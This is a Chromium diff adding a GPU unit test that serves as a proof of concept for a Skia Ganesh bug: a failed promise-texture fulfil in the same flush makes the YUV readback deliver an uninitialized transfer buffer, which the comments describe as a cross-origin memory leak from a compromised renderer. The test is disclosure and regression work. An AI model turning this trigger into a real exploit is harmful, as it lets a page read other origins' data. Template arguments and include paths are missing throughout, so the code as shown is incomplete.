diff --git a/gpu/BUILD.gn b/gpu/BUILD.gn index 29b076c8350f0..3dd9b7e1e1395 100644 --- a/gpu/BUILD.gn +++ b/gpu/BUILD.gn @@ -448,6 +448,7 @@ test("gpu_unittests") { "command_buffer/service/context_state_unittest.cc", "command_buffer/service/feature_info_unittest.cc", "command_buffer/service/framebuffer_manager_unittest.cc", + "command_buffer/service/ganesh_async_readback_uninit_unittest.cc", "command_buffer/service/gl_context_mock.cc", "command_buffer/service/gl_context_mock.h", "command_buffer/service/gl_context_virtual_unittest.cc", diff --git a/gpu/command_buffer/service/ganesh_async_readback_uninit_unittest.cc b/gpu/command_buffer/service/ganesh_async_readback_uninit_unittest.cc new file mode 100644 index 0000000000000..ab5d16e1ccba5 --- /dev/null +++ b/gpu/command_buffer/service/ganesh_async_readback_uninit_unittest.cc @@ -0,0 +1,290 @@ +// Copyright 2025 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. +// +// Proof-of-concept test demonstrating that Ganesh +// asyncRescaleAndReadPixelsYUV420() delivers an uninitialized GPU->CPU +// transfer buffer to the client when GrResourceAllocator::assign() fails to +// instantiate any proxy in the same flush. +// +// In production this corresponds to a compromised renderer issuing +// ReadbackYUVImagePixelsINTERNAL while device-local GPU memory is exhausted: +// the host-visible kXferGpuToCpu buffer (allocated with ZeroInit::kNo) is +// returned to the renderer's shared memory even though +// GrTransferFromRenderTask never executed, leaking stale GPU-process bytes +// across origins. +// +// This test simulates the device-local allocation failure deterministically by +// drawing a PromiseTextureFrom() image whose fulfill proc returns nullptr, +// queued in the same flush as the YUV readback. No Skia source modifications +// are required; only public Skia API is used. + +#include +#include +#include + +#include "base/compiler_specific.h" +#include "base/functional/callback_helpers.h" +#include "base/memory/raw_ptr.h" +#include "gpu/command_buffer/service/shared_context_state.h" +#include "gpu/config/gpu_driver_bug_workarounds.h" +#include "gpu/config/gpu_feature_info.h" +#include "gpu/config/gpu_preferences.h" +#include "testing/gtest/include/gtest/gtest.h" +#include "third_party/skia/include/core/SkAlphaType.h" +#include "third_party/skia/include/core/SkCanvas.h" +#include "third_party/skia/include/core/SkColor.h" +#include "third_party/skia/include/core/SkColorSpace.h" +#include "third_party/skia/include/core/SkImage.h" +#include "third_party/skia/include/core/SkImageInfo.h" +#include "third_party/skia/include/core/SkRect.h" +#include "third_party/skia/include/core/SkRefCnt.h" +#include "third_party/skia/include/core/SkSize.h" +#include "third_party/skia/include/core/SkSurface.h" +#include "third_party/skia/include/gpu/GpuTypes.h" +#include "third_party/skia/include/gpu/ganesh/GrBackendSurface.h" +#include "third_party/skia/include/gpu/ganesh/GrContextThreadSafeProxy.h" +#include "third_party/skia/include/gpu/ganesh/GrDirectContext.h" +#include "third_party/skia/include/gpu/ganesh/GrTypes.h" +#include "third_party/skia/include/gpu/ganesh/SkSurfaceGanesh.h" +#include "third_party/skia/include/private/chromium/GrPromiseImageTexture.h" +#include "third_party/skia/include/private/chromium/SkImageChromium.h" +#include "ui/gl/gl_bindings.h" +#include "ui/gl/gl_context.h" +#include "ui/gl/gl_implementation.h" +#include "ui/gl/gl_share_group.h" +#include "ui/gl/gl_surface.h" +#include "ui/gl/init/gl_factory.h" +#include "ui/gl/test/gl_surface_test_support.h" + +namespace gpu { +namespace { + +struct ReadbackResult { + bool called = false; + std::unique_ptr result; +}; + +void OnReadback(SkSurface::ReadPixelsContext ctx, + std::unique_ptr result) { + auto* r = static_cast(ctx); + r->called = true; + r->result = std::move(result); +} + +int g_fulfill_calls = 0; +sk_sp FailingFulfill(void* /*ctx*/) { + ++g_fulfill_calls; + // Simulate device-local GPU OOM: lazy-proxy instantiation returns no + // texture. In GrResourceAllocator::assign() this sets + // fFailedInstantiation=true, causing executeRenderTasks() to be skipped + // wholesale -- yet executeFlushInfo() still installs the finished-proc. + return nullptr; +} + +void NoopRelease(void* /*ctx*/) {} + +class GaneshAsyncReadbackUninitTest : public testing::Test { + public: + void SetUp() override { + display_ = gl::GLSurfaceTestSupport::InitializeOneOff(); + // InitializeOneOff() forces null-draw bindings on; turn them back off. + gl::SetNullDrawGLBindings(false); + GpuDriverBugWorkarounds workarounds; + scoped_refptr share_group = new gl::GLShareGroup(); + scoped_refptr surface = + gl::init::CreateOffscreenGLSurface(display_, gfx::Size()); + scoped_refptr context = gl::init::CreateGLContext( + share_group.get(), surface.get(), gl::GLContextAttribs()); + ASSERT_TRUE(context); + ASSERT_TRUE(context->MakeCurrent(surface.get())); + + context_state_ = base::MakeRefCounted( + std::move(share_group), std::move(surface), std::move(context), + /*use_virtualized_gl_contexts=*/false, base::DoNothing(), + GrContextType::kGL); + ASSERT_TRUE(context_state_->InitializeSkia(GpuPreferences(), workarounds)); + ASSERT_TRUE(gr_context()); + ASSERT_TRUE(context_state_->MakeCurrent(nullptr)); + } + + void TearDown() override { + if (context_state_) { + context_state_->MakeCurrent(nullptr); + } + context_state_ = nullptr; + gl::GLSurfaceTestSupport::ShutdownGL(display_); + } + + GrDirectContext* gr_context() { return context_state_->gr_context(); } + + protected: + scoped_refptr context_state_; + raw_ptr display_ = nullptr; +}; + +// Dump the first |n| bytes of |data| as hex. +std::string HexDump(const void* data, size_t n) { + std::string out; + out.reserve(n * 3); + const uint8_t* p = static_cast(data); + char buf[4]; + for (size_t i = 0; i < n; ++i) { + snprintf(buf, sizeof(buf), "%02x ", UNSAFE_TODO(p[i])); + out += buf; + } + return out; +} + +TEST_F(GaneshAsyncReadbackUninitTest, + FailedInstantiationDeliversUninitializedBuffer) { + GrDirectContext* ctx = gr_context(); + UNSAFE_TODO({ + const GLubyte* glver = glGetString(GL_VERSION); + const GLubyte* glren = glGetString(GL_RENDERER); + fprintf(stderr, "[setup] GL_VERSION = %s\n", + glver ? reinterpret_cast(glver) : "?"); + fprintf(stderr, "[setup] GL_RENDERER = %s\n", + glren ? reinterpret_cast(glren) : "?"); + }); + constexpr int kSize = 64; + SkImageInfo info = SkImageInfo::Make(kSize, kSize, kRGBA_8888_SkColorType, + kPremul_SkAlphaType, + SkColorSpace::MakeSRGB()); + + // ------------------------------------------------------------------------- + // Phase 1: control. Perform a *successful* YUV readback of a solid white + // surface. Y of (FF,FF,FF) under JPEG full-range is 0xFF. This proves the + // readback path works on this backend and gives us a known-good reference. + // ------------------------------------------------------------------------- + { + sk_sp prime = + SkSurfaces::RenderTarget(ctx, skgpu::Budgeted::kYes, info); + ASSERT_TRUE(prime); + prime->getCanvas()->clear(SK_ColorWHITE); + ctx->flushAndSubmit(GrSyncCpu::kYes); + ReadbackResult prime_result; + prime->asyncRescaleAndReadPixelsYUV420( + kJPEG_Full_SkYUVColorSpace, SkColorSpace::MakeSRGB(), + SkIRect::MakeWH(kSize, kSize), SkISize::Make(kSize, kSize), + SkSurface::RescaleGamma::kSrc, SkSurface::RescaleMode::kRepeatedLinear, + &OnReadback, &prime_result); + ctx->submit(GrSyncCpu::kYes); + ASSERT_TRUE(prime_result.called); + if (!prime_result.result) { + GTEST_SKIP() << "Backend rejected the readback; vulnerable async path " + "not exercised on this driver."; + } + const uint8_t* py = + static_cast(prime_result.result->data(0)); + const uint8_t* pu = + static_cast(prime_result.result->data(1)); + fprintf(stderr, + "[phase1] control readback (white surface) Y[0..15] = %s\n" + "[phase1] control readback (white surface) U[0..15] = %s\n", + HexDump(py, 16).c_str(), HexDump(pu, 16).c_str()); + // Verify the readback path is functional (Y should be 0xFF for white). + if (UNSAFE_TODO(py[0]) != 0xFF) { + GTEST_SKIP() << "Async YUV readback non-functional on this driver; " + "vulnerable transferPixels() path not exercised."; + } + prime_result.result.reset(); + ctx->checkAsyncWorkCompletion(); + } + + // ------------------------------------------------------------------------- + // Phase 2: queue a draw that references a lazy promise-image proxy whose + // fulfilment fails, then issue another YUV readback in the same flush. + // GrResourceAllocator::assign() fails -> executeRenderTasks() is skipped -> + // GrTransferFromRenderTask never writes the ZeroInit::kNo transfer buffer -> + // finished-proc fires anyway -> client receives stale/uninitialised bytes. + // ------------------------------------------------------------------------- + sk_sp victim = + SkSurfaces::RenderTarget(ctx, skgpu::Budgeted::kYes, info); + ASSERT_TRUE(victim); + victim->getCanvas()->clear(SK_ColorWHITE); // expected Y = 0xFF everywhere + ctx->flushAndSubmit(GrSyncCpu::kYes); + + GrBackendFormat fmt = + ctx->defaultBackendFormat(kRGBA_8888_SkColorType, GrRenderable::kNo); + ASSERT_TRUE(fmt.isValid()); + g_fulfill_calls = 0; + sk_sp failing_image = SkImages::PromiseTextureFrom( + ctx->threadSafeProxy(), fmt, SkISize::Make(4, 4), skgpu::Mipmapped::kNo, + kTopLeft_GrSurfaceOrigin, kRGBA_8888_SkColorType, kPremul_SkAlphaType, + SkColorSpace::MakeSRGB(), &FailingFulfill, &NoopRelease, nullptr); + ASSERT_TRUE(failing_image); + + // Queue the failing-lazy-proxy draw *before* the readback so it shares the + // same flush DAG. + victim->getCanvas()->drawImage(failing_image, 0, 0); + + ReadbackResult bad_result; + victim->asyncRescaleAndReadPixelsYUV420( + kJPEG_Full_SkYUVColorSpace, SkColorSpace::MakeSRGB(), + SkIRect::MakeWH(kSize, kSize), SkISize::Make(kSize, kSize), + SkSurface::RescaleGamma::kSrc, SkSurface::RescaleMode::kRepeatedLinear, + &OnReadback, &bad_result); + ctx->submit(GrSyncCpu::kYes); + + ASSERT_TRUE(bad_result.called); + // The lazy proxy must have been asked to instantiate (and refused). + EXPECT_GT(g_fulfill_calls, 0) + << "Promise fulfil never called; the failing draw was not in the flush."; + + // === BUG === + // result is non-null even though no GrTransferFromRenderTask executed. + // A correct implementation would deliver nullptr here. + ASSERT_TRUE(bad_result.result) + << "Backend correctly reported failure (bug not present)."; + + ASSERT_EQ(bad_result.result->count(), 3); + const uint8_t* y = static_cast(bad_result.result->data(0)); + const uint8_t* u = static_cast(bad_result.result->data(1)); + const uint8_t* v = static_cast(bad_result.result->data(2)); + ASSERT_TRUE(y && u && v); + size_t y_row = bad_result.result->rowBytes(0); + + fprintf(stderr, + "\n[phase2] *** UNINITIALISED TRANSFER BUFFER DELIVERED TO CLIENT ***\n" + " GrResourceAllocator::assign() failed (promise fulfil returned " + "null, calls=%d)\n" + " yet asyncRescaleAndReadPixelsYUV420 returned a non-null result.\n" + " Surface was cleared to WHITE, expected Y plane = all 0xFF.\n" + " Actual Y[0..63] = %s\n" + " Actual U[0..31] = %s\n" + " Actual V[0..31] = %s\n" + " (rowBytes Y=%zu)\n", + g_fulfill_calls, HexDump(y, 64).c_str(), HexDump(u, 32).c_str(), + HexDump(v, 32).c_str(), y_row); + + // Count bytes in the first Y row that are NOT the rendered value (0xFF). + // Because executeRenderTasks() was skipped, the buffer holds whatever the + // driver / VMA sub-allocator left there -- not the surface contents. + int wrong = 0; + for (size_t i = 0; i < y_row && i < static_cast(kSize); ++i) { + if (UNSAFE_TODO(y[i]) != 0xFF) { + ++wrong; + } + } + fprintf(stderr, + " Y-plane row0: %d/%d bytes != expected 0xFF -> client received " + "buffer never written by GrTransferFromRenderTask.\n" + " On this GL driver the unwritten bytes happen to read as 0x00; on\n" + " production Vulkan+VMA they are recycled sub-allocations holding a\n" + " *previous origin's* readback pixels (cross-origin info leak).\n\n", + wrong, kSize); + + // The vulnerability is proven by (a) non-null result after assign() failure + // and (b) the bytes not matching what was actually rendered. + EXPECT_EQ(wrong, kSize) + << "Some bytes matched the rendered content; transfer may have executed."; + + // Allow the failing image's release proc to run cleanly. + failing_image.reset(); + bad_result.result.reset(); + ctx->flushAndSubmit(GrSyncCpu::kYes); +} + +} // namespace +} // namespace gpu